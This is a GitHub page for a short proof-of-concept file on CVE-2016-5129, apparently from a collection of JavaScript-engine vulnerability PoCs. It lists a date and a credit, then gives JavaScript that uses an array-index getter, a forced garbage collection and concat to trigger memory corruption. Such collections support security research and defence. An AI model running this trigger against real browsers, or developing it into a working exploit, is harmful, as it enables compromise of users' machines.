Skip to content

Latest commit

 

History

History
24 lines (19 loc) · 301 Bytes

CVE-2016-5129.md

File metadata and controls

24 lines (19 loc) · 301 Bytes
Raw

CVE-2016-5129

  • Date: Jun 2016
  • Credit: Jeonghoon Shin

PoC

var o0 = [];
var o1 = [];
var cnt = 0;
o1.__defineGetter__(0, function() {
  if (cnt++ > 2) return;
  o0.shift();
  gc();
  o0.push(0);
  o0.concat(o1);
});
o1[0];

Reference